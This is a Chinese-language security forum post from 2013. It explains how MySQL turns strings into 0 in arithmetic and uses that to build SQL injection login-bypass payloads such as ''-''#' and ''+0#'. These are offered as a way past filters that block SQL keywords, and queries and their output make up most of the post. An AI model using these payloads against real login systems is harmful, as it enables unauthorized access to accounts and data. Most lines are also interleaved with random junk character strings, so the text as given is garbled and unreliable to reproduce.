找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2048|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
& r% o9 a! s/ v9 c5 n5 S有以下表结构: $ w; }6 H+ L0 Y: ]
, \( S7 |  i4 k" [( d8 p7 L4 T
mysql> desc admin;
7 h1 c7 ^& _* e/ v6 F5 V+----------+--------------+------+-----+---------+----------------+
" e: I- j. T+ Z/ a( I| Field    | Type         | Null | Key | Default | Extra          |$ D" x0 b/ `  o( B/ t
+----------+--------------+------+-----+---------+----------------+
4 U& _# ~& a/ |/ ]9 e| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
9 s, E( o9 y/ l3 C5 s% d| name     | char(32)     | NO   | UNI | NULL    |                |6 H" e7 e0 a# E% }  I3 }
| password | char(32)     | NO   | UNI | NULL    |                |7 ~0 F) g' B" o- E' Z1 b% A
+----------+--------------+------+-----+---------+----------------+
& @* B+ O7 I+ ~# t4 A1 d) m3 rows in set (0.00 sec)
( `& _6 p, B3 ^执行select * from admin;,成功返回所有记录内容。
" E, `, b$ V0 h1 q$ v' K
# E: I  ^, V0 A) j0 Q" s
. Z# v# }8 v/ i# r+ L5 ~) r4 w+----+--------+----------------------------------+) P" E" n4 B6 d; m5 d: A* e
| id | name   | password                         |
+ l6 Z# _: m$ B4 m+ i+----+--------+----------------------------------+
- N% G3 I! T7 v5 z2 c* c|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
, _# c  f5 K* p3 r9 U  |6 b* k|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
+ u4 m; w0 ^6 H# R& s0 E8 f7 b|  4 | n00b   | ff80e8508d39047460921792273533a4 |
. P7 o, a* Y6 p9 h' I+ V" b+----+--------+----------------------------------+
7 t& ^) }+ z0 Z$ S9 {3 rows in set (0.00 sec)
' G* r3 A( h( E  \执行select * from admin where name=”;,没有匹配到任何记录。 , F7 C2 V) c: o: J/ k0 ]% S8 @/ c

  T1 H4 a0 y' t% M" H. R0 Mmysql> select * from admin where name = '';! @# J" ~# L8 r+ g$ n; g1 L
Empty set (0.00 sec)
  v; V0 B# W0 E. a1 x那么我们来执行select * from admin where name = ”-”;5 R% E! W+ s+ {

/ d  w4 f  i( Q$ b' f4 F$ J( m$ f* D3 \. Z/ O, I! f# P$ w" ^
+----+--------+----------------------------------+. P7 G8 X# y" P8 u
| id | name   | password                         |
( s1 o1 I8 r; G/ Y! U/ I9 R& A% r+----+--------+----------------------------------+% z5 X* m' ?( u+ ?) U: ~* k9 J# z$ Y
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |4 c9 W8 N5 s1 \8 m8 o+ Y
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |+ W$ U2 Q; B; `2 b
|  4 | n00b   | ff80e8508d39047460921792273533a4 |) V% k3 S; t+ g8 Y  t
+----+--------+----------------------------------+
/ ~# S/ a) l- v  Y- S/ P7 G9 n3 rows in set, 3 warnings (0.00 sec)
& {: r" I+ x" I5 ]7 o: E3 x可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
/ {+ z% D, k) O" [8 N/ r, c3 K( d% x+ m: V3 {, A
mysql> show warnings;
) d+ G5 b1 _% R0 s6 H1 o- R2 Z+---------+------+------------------------------------------; P8 k- A! Z5 K: e
| Level   | Code | Message: C" a+ {& S7 A) q$ ?
+---------+------+------------------------------------------7 ], ~# `  m. D- B/ b
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
+ Q  M) E' H# n& b7 C$ d| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s+ p, y6 c3 q6 _0 c; a- i
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b) L) Q, V% I( }0 Q( e/ r& K
+---------+------+------------------------------------------% B- G; p! p  W- O; t" }
3 rows in set (0.00 sec)
6 U3 C1 Q: U  |7 ]提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 . p; ]: t. s- }# O- e
% a4 w) S4 S" [% v* _
mysql> select ''-'';
, C/ Z+ H0 d1 ~; ]! ^: N/ a+-------+" m. e# r' m$ }- h
| ''-'' |
1 {$ x+ g- a4 A# ?2 J/ T5 p+-------+
; G. n% u7 H6 F, Q% @" i|     0 |
; S- q) p  ]7 X4 o/ ^6 p+-------+# b) b% l2 M) j, F7 a
1 row in set (0.00 sec)! O7 t: M3 G% c3 I+ k
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
: ~+ n6 \7 O( v" u/ I  W& g' z& A0 c3 [
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);( u5 R0 {% |9 n
+-----------------------------------------------------+0 w. y3 }2 G& T+ m  |3 ~  M% R+ ^
| CAST((select name from admin limit 1,1) as DECIMAL) |6 J, {7 a; E- q
+-----------------------------------------------------+4 N$ g: H7 n- a
|                                                   0 |
' J2 S' h* S) ^( l3 F; W* H+-----------------------------------------------------+
$ m- g% y% w1 R1 row in set, 1 warning (0.00 sec)+ T# o; [$ d. J
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 : g, N" {- K" O! M" D: l
  ?- i5 [9 u  s  y. B
SQL注入场景: http://www.sqlzoo.net/hack/ % |' n7 R" _7 L' X
( L& V8 t+ X* s2 Q  t7 v
7 ]: q% }; h4 i( _+ y! t

4 a& ^) G2 l2 k, {- j5 Y2 W
* Z- r$ m+ o9 n$ ?/ c如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 1 Z' Q4 ]6 a) ~% L0 F) a/ F8 `

' ?; ~3 B2 O7 e# R那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
& h$ D0 I- w0 y4 c+ E$ ?" s( ~& Y2 f' G/ x3 B( a

' t" e# L. i* h3 [/ {! K% `
( s( A3 ]: ^9 ~$ r$ v( `: q' v! F& p7 O' h  F/ F& E2 {
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 , }, [4 N% f% ~5 s  B( s. A9 s

+ V3 S: T, p& {+ Y! b   
5 {8 B( y& n! e! H2 r( Z: I, J% ^  w/ m+ t5 o$ D& y; C5 K
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
( T' x* }1 w3 Y, X' k! N
2 y. I& X6 Q, y1 B. Q
9 F! `( R' o# N+ q. o* Kmysql> select ''/1;
0 n) ?5 X& Y: W7 f% |4 f  R+------+) _( r' W8 _" f) p4 @8 L
| ''/1 |
$ F* |7 h; [. o; n7 k* c+------+
, v  ^& T+ U8 |/ a|    0 |
9 p% p6 B% C8 {8 o$ c& d+------+7 e9 T/ j3 M( X' x
1 row in set (0.00 sec)
& G, _; ~& q6 w* E4 G类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  9 G0 p# z: P, A3 J8 m
  F% A5 j1 d1 O7 F; \" y& j
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。* u- k8 v& x6 h# P  t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表